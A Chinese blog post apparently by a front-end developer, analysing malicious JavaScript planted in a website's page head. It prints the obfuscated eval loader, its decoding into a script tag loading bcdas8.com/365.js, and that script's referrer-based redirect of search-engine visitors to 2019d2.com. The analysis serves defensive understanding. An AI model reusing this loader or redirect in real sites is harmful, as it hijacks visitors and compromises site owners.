一次网站挂马的分析

我是一个切图仔,日常的开发也不会涉及太多网络安全相关的东西.今天这篇博客完全是一个巧合,下面就听完细细道来.

起因

说起来也很好玩,起因是群里一个网友说看到一个动画(其实就是一个焦点图),想要参(fu)考(zhi)一下.我本身是没什么兴趣的,毕竟这对我而言不是什么问题了.但我还是点进去看了一下,出于职业习惯,我打开控制台看了一下,结果在文件头部发现了这么一个东西.
201903291432.jpg

上面这段代码成功的引起了我的注意,就打算分析一下这段代码.

代码分析

我们先将这段代码复制并格式化得到下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
eval(
(function (p, a, c, k, e, d) {
e = function (c) {
return (
(c < a ? "" : e(parseInt(c / a))) +
((c = c % a) > 35
? String.fromCharCode(c + 29)
: c.toString(36))
);
};
if (!"".replace(/^/, String)) {
while (c--) d[e(c)] = k[c] || e(c);
k = [
function (e) {
return d[e];
},
];
e = function () {
return "\\w+";
};
c = 1;
}
while (c--)
if (k[c])
p = p.replace(new RegExp("\\b" + e(c) + "\\b", "g"), k[c]);
return p;
})(
'l["\\e\\c\\1\\n\\f\\8\\o\\0"]["\\7\\3\\9\\0\\8"](\'\\g\\2\\1\\3\\9\\4\\0 \\0\\m\\4\\8\\d\\6\\0\\8\\j\\0\\5\\h\\a\\k\\a\\2\\1\\3\\9\\4\\0\\6 \\2\\3\\1\\d\\6\\t\\0\\0\\4\\2\\u\\5\\5\\7\\7\\7\\b\\v\\1\\e\\a\\2\\q\\b\\1\\c\\f\\5\\r\\p\\s\\b\\h\\2\\6\\i\\g\\5\\2\\1\\3\\9\\4\\0\\i\');',
32,
32,
"x74|x63|x73|x72|x70|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6d|x3c|x6a|x3e|x78|x76|window|x79|x75|x6e|x36|x38|x33|x35|x68|x3a|x62".split(
"|"
),
0,
{}
)
);

这样看起来有些费劲,我们做一些美化,首先 eval 可以执行里面的某个字符串,这里先不管他,里面是一个匿名自执行函数,后面括号为传入的参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
let fun = function (p, a, c, k, e, d) {
e = function (c) {
return (
(c < a ? "" : e(parseInt(c / a))) +
((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
);
};
if (!"".replace(/^/, String)) {
while (c--) d[e(c)] = k[c] || e(c);
k = [
function (e) {
return d[e];
},
];
e = function () {
return "\\w+";
};
c = 1;
}
while (c--)
if (k[c]) p = p.replace(new RegExp("\\b" + e(c) + "\\b", "g"), k[c]);
return p;
};

let p =
'l["\\e\\c\\1\\n\\f\\8\\o\\0"]["\\7\\3\\9\\0\\8"](\'\\g\\2\\1\\3\\9\\4\\0 \\0\\m\\4\\8\\d\\6\\0\\8\\j\\0\\5\\h\\a\\k\\a\\2\\1\\3\\9\\4\\0\\6 \\2\\3\\1\\d\\6\\t\\0\\0\\4\\2\\u\\5\\5\\7\\7\\7\\b\\v\\1\\e\\a\\2\\q\\b\\1\\c\\f\\5\\r\\p\\s\\b\\h\\2\\6\\i\\g\\5\\2\\1\\3\\9\\4\\0\\i\');';
let a = 32;
let c = 32;
let k =
"x74|x63|x73|x72|x70|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6d|x3c|x6a|x3e|x78|x76|window|x79|x75|x6e|x36|x38|x33|x35|x68|x3a|x62".split(
"|"
);
let e = 0;
let d = {};

熟悉是 while 和 if 语句都是简写的, 如果为来更明了可以加上花阔号

其次是''.replace(/^/, String),这个语句永远返回空字符串,那里面的 if 语句就永远为真.

最后是变量,看起来这么长一串,写的啥啊,其实变量 p 里面的双反斜杠的第一个反斜杠是转译字符,k 就不用说了,是一个数组.

运行这个函数,我们得到下面的字符串:

1
"window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]('\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x62\x63\x64\x61\x73\x38\x2e\x63\x6f\x6d\x2f\x33\x36\x35\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');"

这个字符串是什么东西呢,网上搜了一下,这些是 js 十六进行加密后的东西,那我们就需要进行 js 十六进制的解密;

十六进制加解密

参考网上文章写了一个十六进制加密解密的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
class HexCrypto {
encrypt(str) {
let newStr = ''
for (let i = 0; i < str.length; i++) {
let s = str.charCodeAt(i).toString(16)
newStr += '\\x' + s
}
return newStr
}

decrypt(str) {
let newStr = ''
let tempArr = str.split('\\')
tempArr.forEach(item => {
if (/^x/.test(item)) {
let it = item.replace('x', '')
if (/^\d/.test(it)) {
let unicode = parseInt(it, 16)
let suffix = it.substring(String(unicode).length)
newStr += String.fromCharCode(parseInt(it, 16)) + suffix
} else {
newStr += it
}
} else {
newStr += item
}
})
return newStr
}
}

解密之后我们得到了这样一个字符串:

1
"window["document]["write]('<scripttype="text/javascript" src="https://www.bcdas8.com/365.js"></script>');"

别忘了最外层还有一个 eval,那么就理所当然的在文档 head 头部写如了这样一行代码:

1
<scripttype="text/javascript" src="https://www.bcdas8.com/365.js"></script>

引入的 js

如果是自己开发的内容,一般不会做这些加密处理,那我们又再次查看引入的 js 做了些什么呢.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(function () {
/*百度推送代码*/
var bp = document.createElement('script');
bp.src = '//push.zhanzhang.baidu.com/push.js';
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
/*360推送代码*/
var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';
document.write('<script src="' + src + '" id="sozz"><\/script>');
})();

document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://2019d2.com\";");
document.writeln("</script>");

这下就简单明了了,这是向搜索引擎推送网站信息的脚本,但更重要的是下面这段代码,下面的代码通过 document.referrer 判断了超链接的涞源,发现如果是来自于上面的搜索引擎则跳转到了一个地址,这个地址是什么,自己去看吧.

总结

现在这个结果就很清晰了,该网站被挂马了.一般可以排除 arp 欺骗,我猜测的可能是服务器上用了第三方的集成环境,如phpStudy之类的,也不排除服务器被入侵了.

而且细心的同学应该在图片上就已经发现了该网站的描述已经被篡改了,这样也会导致搜索引擎排名权重下降,所以我也翻了好几页都没看到该网站.

总之,大家应该引以为戒,在生产环境下可以麻烦一点也不要图方便省事,不然造成损失就后悔莫及了.

参考文章: JS 16 进制加密解密

[越努力,越幸运!]